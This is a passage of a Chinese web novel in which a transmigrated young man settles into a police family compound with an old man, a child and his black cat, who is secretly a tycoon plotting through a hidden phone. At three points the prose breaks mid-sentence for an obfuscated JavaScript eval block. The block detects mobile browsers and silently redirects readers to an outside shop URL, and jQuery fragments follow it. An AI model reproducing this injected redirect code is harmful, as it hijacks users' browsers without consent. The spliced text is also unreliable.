他深吸一口气,调整好心情,莞尔道,“那阳阳要好好吃饭,好好睡觉,好好锻炼身体,出门在外也要注意安全,这样才能早点长大哦。”
“我会哒!”小豆丁回答得那叫一个铿锵有力。
沈南风眼弧微弯,就这样一边聊一边带着小豆丁和黑猫往外走。
小豆丁特别热情地跟他介绍着小区的情况,什么这家的阿姨特别厉害,能直接把醉酒闹事的男人过肩摔,那家的叔叔特别怂,有次还被蟑螂吓哭了。
有时候说得高兴了,还会手舞足蹈演示一番,把沈南风逗得不行。
当然,他们一路走来也遇到了不少小区里的其他住户。
因着这里是刑警大队家属院,彼此都熟悉,冷不丁看到一个陌生人牵着认识的小孩儿,要不是沈南风生得俊俏还带着一只猫,遇到人了神色也不慌张,他都能被当成人贩子撂倒无数次了。
沈南风被盘问了好几回,都耐心地回答了对方的问题,就算有人依旧不相信,当场给秦老爷子打电话,或者直接跑到秦老爷子家,他也不恼,依旧面带微笑,最后弄得怀疑的人都有些不好意思。
沈南风对此并不觉得麻烦,反而感到安心。
毕竟现在他的心脏还被人惦记着呢,要是这个小区居民安全意识不强,他都怕自己躺在屋子里遇到什么不好的事情,叫破喉咙都没人搭理,甚至会连累秦老爷子和小豆丁。
不过这么一来,秦老爷子也烦不胜烦。
他索性从家里出来,臭着一张脸跟在沈南风他们后面。
再遇到心存疑虑的人,不等对方开口,直接硬邦邦道,“他是我家的小辈,不是人贩子,别问了!”
沈南风在听到“家里的小辈”这几个字的时候不由露出诧异的神情,直到对面的人走远了,还没收得回来。
秦老爷子被他看得有些恼怒,梗着脖子恶声恶气道,“怎么,嫌弃我是个糟老头子,自称长辈给你丢人了?”
沈南风知道自己要是敢点头这老爷子真的会气得转身就走,强忍笑意,放柔声音道,“怎么会,明明是我占便宜,本来一个人带着球球,无依无靠的,现在多了条金大腿,高兴还来不及,怎么可能觉得丢人?”
秦老爷子瞪他,“油嘴滑舌,就知道说好听话骗我这个糟老头子!”
沈南风忍俊不禁,嘴比脑子快了一步,回道,“明明是秦爷爷先说好听话哄我,怎么倒打一耙说我骗您?”
秦老爷子脸涨得通红,刚要反驳,手就被小豆丁牵住了。
对上小豆丁盈满了喜悦的眸子,他哼了一声,闭上嘴,继续给沈南风当活的免被打金牌。
三人一猫将附近的菜市场,超市,银行等地方都溜达了一圈,然后拎着大包小包回去。
此时已经到了傍晚,夕阳西下,影子被拉得特别长。
沈南风看着秦老爷子和小豆丁,以及走在自己旁边的黑猫,突然有了种家的感觉,神色也变得柔和了许多。
黑猫见状,沉思片刻,还是打消了直接给沈南风换住处的主意。
自家铲屎官喜欢,就随他去吧。
回屋后,秦老爷子准备做饭,沈南风和小豆丁给他打下手,黑猫则趴在冰箱上面俯视着他们,尾巴尖儿一翘一翘的。
得知黑猫不吃剩饭剩菜,还要专门烹饪不放调料的猫饭,秦老爷子虽然不理解,但他只哼了一声,没说什么不好听的话。
吃完饭,沈南风又整理了一下房间,然后在手机上罗列想买的东西。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735087|145108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
黑猫则不动声色跟小豆丁保持着一定的距离,终于,在秦老爷子喊小豆丁洗澡的时候,他把电话手表摘下来放在客厅桌子上,洗完澡出来也没有拿走!
黑猫表面平静,心里已经开始放起了烟花!
终于等到所有人都睡着,它悄咪咪起身,从沈南风特意留的门缝钻出去,叼起电话手表,钻到厨房碗柜底下。
它左爪按着手表,右爪按着按键,很快,屏幕亮起,直接就是主界面!
黑猫尾巴尖儿晃动的幅度都加快了许多,快速找到短信的图标,然后点进去。
只是猫爪终究没有人的手方便,电话手表屏幕还跟它的爪垫差不多大,黑猫费了老大的劲儿才编辑好信息给对面发过去。
虽然这会儿已经十点了,但它相信顾时序肯定没睡,不知道在哪里鬼混。
如黑猫所料,它很快就收到了回复。
顾时序并没有完全相信,而是谨慎地问了几个只有他们两个知道的事。
黑猫回复完,又简单说了自己的情况。
它并不完全信任顾时序,只说自己及时被撞时及时打开车门逃了出去,现在在外面疗养,过段时间才会回去。
在这之前,顾时序先按兵不动,观察顾氏集团里面有多少人会跟着渣爹和私生子弟弟上蹿下跳,把名字记下来,到时候一起解决。
另外它借口要以牙还牙,让顾时序给沈博恒使绊子。
沈佑不是他那个私生子弟弟的未婚夫?
要是沈博恒手里的项目出了问题,又不敢让沈父知道,沈佑可不得去找他那个私生子弟弟?
到时候都忙起来,也就没有那么多精力思考他的事。
当然,沈家估计也会暂时顾不上沈南风。
这样它就有更多的时间来给沈南风铺路,万一它彻底变不成人了,以后的日子也能过得顺遂些。
为了方便联络,黑猫让顾时序给自己重新办理一个手机,放到某个即将拆除的危房附近,它自己去取。
除此之外就是调查赵茗的背景,确定干净后就给赵茗手里的项目投资,然后将自己新的联系方式发给对方。
最后,黑猫承诺等它重新回到顾氏集团,就会给顾时序百分之五的原始股份。
顾时序手里已经有顾老爷子给他的百分之二的原始股份,加上这百分之五,就能一跃成为顾氏集团的大股东,只要顾氏集团屹立不倒,他完全可以一辈子吃喝不愁。
顿时,各种彩虹屁就跟狂风暴雨似的接踵而至,顾时序那谄媚的气息几乎透过文字糊到黑猫脸上。
它嘴角微微抽搐,勒令顾时序正常一点,并且让顾时序在自己收到新手机前删除这个号码,不许再发任何消息,也不许调查它的下落。
顾时序立刻滑跪,果断应是,然后温香软玉也顾不上了,热火朝天地忙活起来。
黑猫长舒一口气,将消息一条条删除。
确定没有留下任何痕迹,它将手表放回原处。
回到卧室,黑猫跳到床上,居高临下睥睨着抱着被子睡颜恬静的漂亮青年,轻轻哼了一声。
等顾时序那边安排好了,它就能彻底摆脱软饭猫这个丢脸的头衔了!
14.第 14 章
翌日,沈南风是被窗外的鸟鸣声叫醒的。
他眉头微蹙,不耐烦地睁开眼,看到陌生的窗户和墙壁,霎时间困意全无,猛地坐了起来!
原本睡在被子上的黑猫也因为他这突如其来的动作直接被掀飞,滚了好几圈才堪堪停了下来。
它刚要生气,就被沈南风抱到怀里,听着那急促的心跳声和略显粗重的呼吸声,知道这人怕是被什么吓到了,叹了一口气,也懒得跟沈南风计较。
左右这人抽风也不是一天两天,习惯就好。
沈南风感受到黑猫身上传来的温度和抱着时沉甸甸的触感,这才找到了些许真实性。
抚摸着黑猫那油光水滑的毛毛,看着墙角的猫碗和水碗,昨天的记忆逐渐回笼,确定自己是换了个住处,不是换了个世界,沈南风狠狠地松了一口气。
他在原来的世界里没有任何牵挂,穿书就穿书吧,可现在是有猫的人了,可不能随随便便就消失。
等心情平复得差不多了,沈南风打量着虽然家具款式有些老,但胜在宽敞安静采光好的房间,捏了捏黑猫软乎乎的小爪垫,嘴角轻翘,“球球,咱们真的好幸运,租到了一个不错的房子呢。”
黑猫瞅着这还没它在顾家主宅卫生间大的卧室,嘴角轻轻抽了抽。
但不得不承认,跟酒吧二楼杂物间收拾出来的鸽子笼比起来,这间卧室好了不要太多。
黑猫微微仰头,看着沈南风满足又愉悦的表情,突然开始幻想沈南风住进豪华大别墅时的画面,肯定非常精彩。
黑猫正在心里盘算着怎么才能名正言顺给沈南风一套房子,就感觉到一只手逐渐从它脊背往下滑,特别流氓地摸了一下它的小腹!
黑猫一个激灵,后腿用力一蹬,弹簧似的直接从沈南风怀里蹦了出去!
看着沈南风脸上惊喜中带着些许遗憾,遗憾中又带着些许心虚的表情,黑猫尾巴疯狂甩动,菜刀眼怒瞪这个一言不合就吃它豆腐的臭流氓!
它毕竟不是真的猫,摸摸头摸摸背后的毛揉它的手还能勉强忍耐,往肚子那里摸就过分了吧!
这要变成人形,不就是摸它的胸肌和腹肌!
眼瞧着沈南风还想伸手,黑猫灵巧躲开,三两下蹿到柜子上面,居高临下睥睨着这个不知羞且胆大包天的铲屎官。
沈南风对上黑猫的王之蔑视,讪讪一笑。
但他觉得这件事也不能全怪他,谁让黑猫身上大部分地方的毛毛都油光水滑的,跟犬科一样有点硬,只有肚皮那块是棉花一样的触感?
所以不管他有多累,又有多沮丧,只要将脸埋进那柔软蓬松的毛毛里面吸上几口,就能满血复活,甚至还能去犁十里地!
黑猫跟沈南风相处久了,一看他那表情就知道他心里在想什么,翻了个大大的白眼。
沈南风被黑猫霸气十足的模样可爱到,哄了几句,见黑猫不愿意下来,也没强求。
他看了下时间,发现还不到六点。
左右已经睡足了,沈南风便打算直接起床。
他换好衣服,推开卧室门,隐约闻到包子的香味,有些诧异。
沈南风循着味儿来到厨房,一探头,就见秦老爷子穿着黑色唐装围着白色围裙正板着一张脸盯着灶台上的蒸笼。
他笑眯眯打了个招呼,“秦爷爷,早上好。”
秦老爷子瞥了他一眼,淡淡地应了一声,然后道,“粥已经煮好了,包子还要几分钟,你先去洗漱,等下过来吃饭。”
沈南风也没客套,利索地答应下来。
秦老爷子见他态度落落大方,没有半点扭捏,神情和缓了些许。
沈南风正想问小豆丁有没有起床,身后突然响起充满了惊喜的童音,“哇,大哥哥,你竟然还在!”
沈南风忍俊不禁,调侃道,“我昨天可是签了租房合同的,不在这里在哪里?”
小豆丁小狗似的抱住他的腿,仰着嫩生生的小脸看他,声音那叫一个天真烂漫,“嘿嘿,我还以为大哥哥会跟爸爸和妈妈一样,一觉睡醒就不见了呢。”
沈南风和秦老爷子以及旁边蹲坐着的黑猫听到这话,都是一愣。
年幼的孩子并不知道成年人心中的五味陈杂,还在叽叽喳喳说个不停。
沈南风轻轻叹了一口气,笑着揉了揉小豆丁软乎乎的头发,然后带他去卫生间洗漱。
一大一小收拾好出来,秦老爷子已经将早饭端上了桌。
沈南风看着热气腾腾的包子和粥,以及一大盘青椒火腿炒蛋,眼睛都瞪圆了,“哇,秦爷爷,咱家早饭这么丰盛的吗?”
“你要是想天天鲍鱼海参,确实没这个条件,吃饱还是没问题的。”秦老爷子哼了一声,“我另外还留了一些新鲜的猪肉和鸡肉,还有你说的鸡心鸡肝什么的,吃完饭你自己做猫饭去,一只猫还这么金贵,我这个老头子可不伺候!”
沈南风自打记事起就学会了察言观色,不然大概率九年义务教育结束就得出去打工养活自己,再加上有过跟倔老头相处的经验,比起别人说什么,他更在意别人做了什么。
秦老爷子虽然嘴上说着不中听的话,却实实在在给他买了做猫饭需要的食材,并且看这架势必定不会收他的钱,妥妥一个刀子嘴豆腐心。
沈南风心里的恶趣味又开始冒头,突然很想装一装受伤的样子,看看秦老爷子会不会愧疚到半夜三点突然惊醒,然后唾骂自己“我真该死啊”。
但他的良心最终及时阻止了这种缺德的冲动。
沈南风轻咳一声,点点头,“我知道了,谢谢秦爷爷。”
可他看着桌上丰盛的早餐,再瞅瞅旁边矮柜上蹲坐着的黑猫,实在不忍心让它看着他们吃饭,想了想,直接起身,抱着黑猫进了卧室。
秦老爷子看沈南风这架势,还以为自己刚刚的话说得太重,伤到了沈南风。
可他脾气本来就不好,自打儿子因公牺牲,儿媳妇改嫁,经常有心怀不轨的亲戚上门,打着收养小孙子的幌子想占了他们的家产,要是不凶一点,爷孙俩早就被人吃得骨头渣子都不剩了。
突然要他服软,一时半会儿还真做不到。
沈南风不知道秦老爷子内心的犹豫挣扎,拿出之前准备的自制猫零食放到猫碗里面,又给黑猫换了干净的水,然后揉揉黑猫的脑袋,笑道,“球球,你先吃点东西垫垫肚子,我等下再给你做早饭。”
“虽然我也很想跟球球一起吃饭啦,不过现在情况有变,多多少少要尊重一下老人家,所以委屈球球自己在卧室吃饭好不好?”
黑猫听着他哄小孩儿的语气,很是无语。
但这种被尊重的感觉却让它十分受用,尾巴尖儿也轻轻翘了翘。
沈南风见黑猫没有生气 又抱了抱它,最后在它额上落下一吻,又用脸颊蹭了蹭黑猫,这才依依不舍地将它放下来。
“那我先去吃饭啦,球球拜拜。”沈南风笑眯眯朝黑猫挥了挥手,这才迈着轻快的步子离开了卧室。
黑猫愣愣地看着他的背影,良久才回神。
它抬起右爪,轻轻碰了碰被沈南风亲过的地方,整只猫都开始发烫。
真实的,随随便便亲人什么的,也太.......太......
黑猫咬牙,默默在小本本上又记下一笔。
等它能变成人了,绝对要让沈南风也感受一下这种滋味才行!
餐厅里,小豆丁正晃着小短腿儿美滋滋啃着快有他脸大的肉包,秦老爷子却是眉头紧锁,如坐针毡。
他刚要起身,就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737029|145108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见沈南风从卧室出来,手里并没有拿着打包好的行李了,依旧笑眯眯的,悬着的心稍稍放了下去。
秦老爷子不动声色观察着沈南风,见他是真的不在意自己刚刚的话,不是因为寄人篱下不得不看人脸色装作什么都没发生,并不觉得高兴,心情反而变得更加复杂。
因为他想到了昨天赵茗趁着沈南风看房间的时候给他看的那些资料,以及压低声音解释了将沈南风安置在他这里的原因。
秦老爷子叹了一口气,煽情那套他实在搞不来,便打算采取迂回手段。
他冥思苦想半天,好不容易才憋出来一句话,“你等下把猫食怎么做写下来,我以后做饭的时候顺手也给做了。”
沈南风惊讶抬头,见秦老爷子一副别别扭扭的样子,他瞬间明白了对方的意思,笑得那叫一个阳光灿烂。
不过他不是那种得寸进尺的人,想了想,答道,“谢谢秦爷爷,不过猫饭做起来有点麻烦,以后我要是上班,前一天晚上或者第二天早上做好了放冰箱,您中午帮我放到锅上热一下就好,球球的早饭和晚饭还是我来准备吧。”
秦老爷子也担心自己做的猫饭不合黑猫的口味,到时候黑猫要是不吃,又不能强塞,不就糟蹋了?
因此听了这话,他点点头,直接应了下来。
可他毕竟是饥荒年代过来的,忍了又忍,还是没忍住,吐槽道,“你这猫这样养,还能抓到老鼠吗?”
沈南风眼弧微弯,“秦爷爷,我养猫不是为了让它抓老鼠的,只是一个人生活太孤单了,想找个伴儿。”
秦老爷子思想还是老一辈的那种,不是很能理解沈南风这种行为,便直接问道,“你觉得孤单去找对象啊,养猫有什么用?”
“呃,因为我这人比较怕麻烦吧。”沈南风歪了歪头,尽量用老人家能听进去的方式解释道,“养猫的话,只要有一个住的地方,有吃的东西,再有一些钱能够应对生病的情况就行。”
“但是人不一样,两个人在一起需要考虑的东西太多了,与其到时候隔三差五闹矛盾,还不如养猫呢。”
秦老爷子无奈,“那你就不能找个不会跟你闹矛盾,能好好过日子的?”
“先不提能不能找到这么个人,就算找到了,也不能保证我跟那个人一直都不变吧。”沈南风摊开双手,表情十分诚恳。
他爸妈当初也是因为爱情才步入婚姻,就跟着世上很多男女一样,他们都以为之后会是美好生活,结果被生活一次次迎头痛击,最终幻想彻底被粉碎。
当然,也有人足够幸运,遇到了对的人,一辈子都过得特别幸福。
但这玩意儿就跟刮彩票一样,只有极少数人才能中大奖,大多数人都是亏本。
沈南风觉得自己妥妥是个非酋,不管是穿书前还是穿书后都拿了一手烂牌,为数不多几次买饮料也都是“谢谢惠顾”,没看到过“再来一瓶”,就这运气,哪儿敢轻易下场?
秦老爷子“啧”了一声,满脸嫌弃,“出息,还没上战场呢就要当逃兵了?”
“这不一样。”沈南风莞尔,“国家要是有需要,我必定义不容辞,找对象这个还是得看个人意愿吧?”
“我就是一个普通人,又不是皇帝,没有皇位要给谁继承,不找对象也不会动摇国本,只要遵纪守法应该就够了?”
秦老爷子被他那副死猪不怕开水烫的样子给气笑了,“随你,将来等你老了别后悔就行。”
沈南风小声哔哔,“老了后悔也比从年轻的时候后悔到老好啊。”
秦老爷子手里的筷子因为用力过度微微扭曲,额角青筋也突突直跳。
沈南风要是他亲孙子,这会儿吃的绝对不是包子,而是竹笋炒肉!
这嘴怎么就这么贫呢?
15.第 15 章
吃完饭,沈南风想洗碗,秦老爷子不耐烦地摆手赶人,“你不是要给猫做吃的?忙自己的去!这点事我一个老头子还是能做的!要什么都让你干,我就真成了混吃等死了。”
沈南风拗不过他,只能去冰箱拿秦老爷子一大早去菜市场买的那些食材。
他动作麻利,很快就按比例分好了猫饭,用专门的玻璃保鲜盒装起来。
一份上锅蒸熟,剩下的放回冰箱。
沈南风担心黑猫会饿,接了一盆水将碟子放进去,隔着水搅拌猫饭,温度差不多了才拿起来,擦干底部的水将其倒进猫碗里。
秦老爷子看着沈南风做完这一切,嘴角微微抽搐。
他养孩子都没沈南风养猫这么精心!
“好啦,球球,我等下有事要出门,你在家乖乖的,好不好?”沈南风说完,又觉得不放心,补充道,“当然,你可以出去玩,但是不要跑太远,也不能调皮捣蛋,知道吗?”
对上黑猫鄙夷的祖母绿菜刀眼,他忍俊不禁,举起双手作投降状,“好好好,我不念叨了,我知道我们家球球最聪明了,绝对不会把自己弄丢的,那我出发啦!”
说完,沈南风又打开背包看了一眼,确定没有任何遗漏,又跟黑猫挥了挥手,“球球拜拜~”
黑猫虽然没有开口,尾巴尖儿却轻轻翘了翘。
沈南风到达银行时发现节假日有活动,他盘算了一下,办了一张新卡,然后存了一张二十万的大额存单,剩下的钱留了三万多用于生活开销和应急,其余部分分别存了三个月、六个月、一年、三年的定期,最后拿到一个新的微波炉和烤箱,还有一桶食用油和一瓶洗洁精。
沈南风深谙财不外露的道理,没有直接把东西搬回去,而是跟银行工作人员打了个招呼,说他等会儿再来。
终于把那么多现金存好,不用担心被人偷走或者出什么意外,他心里的大石头彻底落下,出去时脚步都轻快了许多。
沈南风租了一辆电动三轮车,先去了趟二手市场,淘了桌子柜子和一些杂七杂八的东西,再来银行取东西,这样微波炉和烤箱就不会太引人注目。
黑猫看着沈南风一上午忙忙碌碌,最后坐在小马扎上往木棍上缠麻绳,头顶冒出三个黑色问号。
小豆丁蹲在沈南风另一边,问出了黑猫的疑惑,“大哥哥,你在干什么呀?”
沈南风嘴角噙着一抹笑,显然心情很不错,“给球球做猫爬架。”
“猫爬架?”小豆丁歪了歪头,那双黑葡萄似的大眼睛里写满了茫然,“做猫爬架为什么要往上面缠绳子?”
沈南风解释道,“这个是剑麻绳,缠好之后既可以给球球磨爪子,也能让它爬得方便一些,不用担心摔下来。”
“原来是这样。”小豆丁恍然大悟,然后满脸羡慕,“大哥哥,你对球球真好。”
“我只是做了一个铲屎官该做的事情,既然决定养球球,就要尽自己最大的努力在能力范围内让它过得舒心一点不是?”沈南风眉眼弯弯,“我现在还没什么钱,只能自己动手,等以后有钱了,就能给它买更多更好的东西,让它每天都开开心心的。”
黑猫看着沐浴在阳光中显得格外温暖美好的青年,心脏仿佛被什么东西击中。
它爪垫微微张开,又收缩起来,还控制不住地在地上踩了踩。
黑猫深吸一口气,漂亮的祖母绿眸子里带了几分坚毅。
沈家那群不识货的蠢蛋非要把鱼目当珍珠,致使真正的珍珠蒙尘。
它迟早有一天会让那群家伙匍匐在沈南风脚下,然后痛哭流涕,悔不当初!
黑猫趴到床上,闭目养神开始细化拿到手机后针对沈氏集团的一系列操作。
沈南风以为黑猫犯困又睡着了,右手食指竖起抵到唇上,对小豆丁做了个“噤声”的动作,“嘘。”
黑猫耳朵动了动,嘴角微微上扬了些许。
小豆丁点点头,乖乖闭嘴。
他看了一会儿觉得好玩,也搬了个小板凳过来跟沈南风一起做猫爬架。
小豆丁毕竟年纪小,还是第一次,难免有些笨手笨脚。
沈南风也不恼,耐着性子压低声音手把手教他。
小豆丁渐渐地掌握了诀窍,速度加快了许多。
在一大一小的努力下,猫爬架终于在午饭前完工。
沈南风跟小豆丁击了一掌,脸上都露出灿烂的笑容。
黑猫看着那一米多高的猫爬架,虽然没那么精致,但的确很用心,尾巴尖儿轻轻翘了翘。
在沈南风和小豆丁满怀期待的目光中,它慢悠悠踱步到猫爬架旁,先试了试磨爪子,发现手感不错,还很解压,在稍稍用力,几下就爬到猫爬架最上面。
沈南风见黑猫对猫爬架很满意,成就感盈满了整个胸膛,脸上的笑容怎么都止不住。
他休息了一会儿,看着布置好的房间,决定再次找工作,争取早点实现带着猫一起躺平的快乐生活。
于是,沈南风打开电脑,往之前选定的几家公司投了早就准备好的简历。
他看着简历上神采奕奕又略显稚嫩的面容和应届毕业生的身份,摩挲了两下鼠标。
总体来说,穿书后除了自己的心脏被人惦记着,其他方面简直吊打穿书前,这波真的不亏。
就是不知道原主是倒霉催地穿到自己的身上还是去了别的世界,如果是单纯的交换身体,自己已经铺好了后路,原主跟自己原来的家人又没有相处过,没有半点情分,应该能没有留恋地直接跑路,然后开始新生活吧?
沈南风正这样想着,腿上突然一重。
他条件反射低头,对上黑猫漂亮的祖母绿眸子。
沈南风心蓦地一软,他左手环住黑猫防止对方掉下去,右手顺着那油光水滑的毛毛轻轻抚摸着。
掌心下的触感和温度让他十分安心,嘴角也控制不住地翘了起来。
沈南风郑重承诺道,“球球你放心,我一定会好好工作,努力赚钱,争取早点有一个属于我们的家。”
那样他就可以专门布置一个猫房,并且在客厅和卧室里也安装上钉在墙上的那种猫爬架,黑猫在家呆着也不会无聊了。
想到这个画面,沈南风那双琥珀色眸子熠熠生辉,整个人都仿佛在发光。
黑猫心里嫌弃沈南风没出息,就只有这点追求,尾巴尖儿却控制不住地晃悠了两下。
沈南风简历做得很漂亮,没多久就收到几个HR的回复,并且约定好面试时间。
其中两家比较急,下午就要去。
吃完午饭,沈南风换了身稍微正式一点的衣服再次出门。
直到天黑,他才踏着月色回来。
沈南风估摸着秦老爷子跟小豆丁已经睡了,正准备掏钥匙,一阵急促的脚步声由远及近。
“咔哒”一声,门开了,露出小豆丁奶乎乎的小脸蛋,看到是沈南风,那双黑葡萄似的大眼睛瞬间瞪得圆滚滚,语气也带着浓浓的欢悦,“大哥哥!”
沈南风眼弧微弯,揉了揉他的小脑袋,“嗯。”
进了院子,他看到蹲坐着的黑猫,笑眯眯打了个招呼,“球球,我回来啦。”
黑猫看着他尽管尽力遮掩依旧难掩的疲色,默默上前,蹭了他一下。
沈南风受宠若惊,“哇,球球,你这是在跟我撒娇吗?”
黑猫瞬间炸毛,凶巴巴瞪了他一眼,然后转身就走。
沈南风被黑猫的反应可爱到,眉开眼笑牵着小豆丁跟了过去。
秦老爷子正坐在客厅里戴着老花镜摆弄鱼竿,头也没抬对沈南风道,“晚饭热在锅里,自己去盛。”
沈南风一愣,随即笑开了,“谢谢秦爷爷。”
他今天实在是累得狠了,吃完饭,洗漱过后,躺到床上,没一会儿就沉沉睡去。
黑猫听着他均匀的呼吸声,抖了抖耳朵,缓缓起身。
走到床边,它又回头看了一眼,确定沈南风一时半会儿不会醒,这才轻巧地跳下去,从厨房窗户那里悄无声息离开了秦家。
到了约定好的地方,黑猫谨慎地先在周围绕了一圈,确定没有任何人监视,也没有摄像头之类的东西,这才走到某个角落,扒拉开上面的碎砖和泥土,露出里面的帆布包。
黑猫眉梢微挑,打开帆布包,里面除了他要的手机,还有一万现金,五个20g的金条和一张五十万的支票。
由此可见,顾时序为了那百分之五的原始股份也是够拼的。
将拉链重新拉好,黑猫将帆布包挂到脖子上,趁着夜色避着人和路上的摄像头顺利回到了秦家。
它将东西拆开来藏好,又把帆布包重新埋回约定好的地方。
做完这些,天空都泛起了鱼肚白。
这一晚上不管是体力还是脑力都消耗很大,黑猫累得不行,回到卧室倒头就睡。
沈南风醒来时整个人都满血复活,他伸了个懒腰,第一件事就是找猫。
结果定睛一看,黑猫爪爪上面满是泥,就连床单和被子上都多了好多小梅花。
沈南风忍俊不禁,挠了挠黑猫脏兮兮的爪垫,调笑道,“哟,球球,你这是大半夜不睡觉做贼去了?”
黑猫菜刀眼死亡凝视。
它这么辛苦都是为了谁?
“哇,好凶哦。”沈南风故作害怕,可上扬的嘴角和弯弯的眉眼却出卖了他。
逗了一会儿,发现黑猫是真的困,他也没继续闹对方,而是放轻脚步起了床。
吃完早饭,他照例将热好的猫饭放到猫碗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741173|145108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里,叮嘱了黑猫两句,又出去面试了。
黑猫睡醒时,已经日上三竿,秦家空无一人。
它看了眼闹钟,发现才上午九点多,小豆丁跟秦老爷子应该暂时不会回来,便翻找出藏起来的手机,叼到床头柜里面,然后按了开机键。
嘹亮的音乐炸开的瞬间黑猫吓得原地起飞,直接撞到柜子顶部,疼得它眼冒金星。
反应过来这会儿秦家除了它没有别人,砰砰乱跳的心脏才逐渐恢复了正常。
黑猫这会儿特别庆幸昨晚没有太着急用手机,不然就这动静,沈南风哪怕睡得再沉都能被吵醒!
设置好静音模式,它挥动猫爪点开社交软件,输入账号密码,成功登陆后,接收了顾时序发送过来的几个文档。
黑猫先过了一遍顾氏集团最近的变动,差点被渣爹和私生子弟弟的一连串骚操作给逗笑。
然后点开赵茗的资料,浏览完,确信赵茗可用,便直接联系上对方。
哪怕顾时序已经提前跟赵茗打好招呼,真的收到顾西洲的好友邀请,她还是吓了一跳。
赵家只是一个小家族,完全没法跟顾家沈家这种顶级豪门相提并论,因此在沈博恒提出以开除沈南风为条件买下酒吧时,她才没有硬碰硬,而是选择了利益最大化。
赵茗消息灵通,对顾西洲的喜怒无常、疯批冷血早有耳闻,但商场上向来是风险越大回报越大,她之前都想过利用沈南风从沈家薅羊毛,如今顾西洲纡尊降贵主动联系她一个小人物,她哪儿有拒绝的道理?
赵茗先是恭维了几句,发现顾西洲不喜欢别人说废话,便迅速调整了自己的态度。
看到顾西洲发来的要求,她先是一愣,随即想到沈南风的身份,瞬间了然。
这波估计是敌人的敌人就是朋友,左右事情办成了对她来说利大于弊,还能多个大靠山,便爽快地应了下来。
黑猫对此非常满意,又敲定了细节,将手机调成飞行模式,并且进入超级省电状态,再次藏好。
沈南风不知道黑猫背地里正悄咪咪帮他铺路,还满怀期待地到处找工作。
可一周过去,明明面试的时候好几家公司都对他印象不错,却没有一家公司让他入职,他就算再傻,也知道沈博恒在这肯定估计出了不少力。
沈南风将脸埋进黑猫柔软的肚皮里面,“怎么办啊球球,要是找不到工作,继续啃老本,迟早有一天咱俩会交不起房租露宿街头的!”
黑猫翻了个大大的白眼,同时在心里吐槽赵茗动作太慢!
看把它家铲屎官愁的,都开始吸猫了!
想着自家铲屎官这段时间确实挺惨,它撤回一套猫猫拳,躺平任吸。
好不容易等到沈南风睡着,黑猫抖了抖身上被沈南风蹂.躏得乱七八糟的毛毛,叼着手机跑去厨房碗柜底下给赵茗发消息,询问进度。
赵茗也是个夜猫子,这个点还没睡,回复得特别快,说最多两天就能开始新计划。
黑猫这才安心。
不过沈南风的四处碰壁也被秦老爷子看在眼里,翌日清晨,吃早饭的时候,见沈南风换回那身陈旧的衣服,他几次张嘴,都说不出什么安慰人的话,索性将沈南风带到河边去钓鱼,想让沈南风放松一下。
小豆丁还在假期,也乐颠颠跟了过去。
秦老爷子是个老手,半小时就钓上来五条鱼,其中三条比较小,他又给放了回去。
沈南风这边也不知道是运气差还是小豆丁叽叽喳喳说个不停又或者时不时跑到河边去看鱼有没有上钩,总之,桶里空荡荡的,连一片鱼鳞都没有。
他看着蹲坐在脚边的黑猫,浓浓的挫败感涌上心头,眼睛都没有高光了,“球球,我好没用啊,工作工作找不到,连鱼都钓不着,干脆找根绳子吊死得了。”
黑猫:“......”
这个真不至于。
沈南风抱怨完,刚想打起精神继续钓鱼,黑猫头也不回地转身就走。
他愣了几秒,以为黑猫嫌弃他太废物,看不下去,委屈巴巴蹲在地上用手指画圈圈。
几分钟后,“啪嗒”一声,一条巴掌大的鲫鱼出现在视线中,还在拼命扑腾。
沈南风:“哎?”
黑猫看着他呆萌的表情,尾巴尖儿轻轻翘了翘,漂亮的祖母绿眸子里盈满了笑意。
铲屎官菜也没关系,猫猫大人厉害就行。
就算真的要去流浪,它也能弄到不少吃的,绝对不会让自家铲屎官饿着!
更何况要是实在找不到法子变回人形,大不了它就把所有股份都卖给顾时序,然后给沈南风雇佣一个专业的保镖团队,将所有资产都转移给他!
它就不信都这样了,沈南风还会沦落到睡桥洞翻垃圾桶的地步!
16.第 16 章
沈南风眨了眨眼,小心翼翼询问道,“球球,这是给我的吗?”
黑猫尾巴尖儿轻轻翘了翘,将鱼往沈南风那边推了推。
沈南风感动的眼泪汪汪,也顾不上黑猫身上又是河水又是鱼腥味又是泥巴的,直接抱到怀里,还用脸颊蹭了蹭黑猫的脑袋,“呜呜,球球你真好,简直就是小天使!”
“天哪,这世上怎么会有球球这样的神仙小猫!”
“我是这个世界上最幸运的人!”
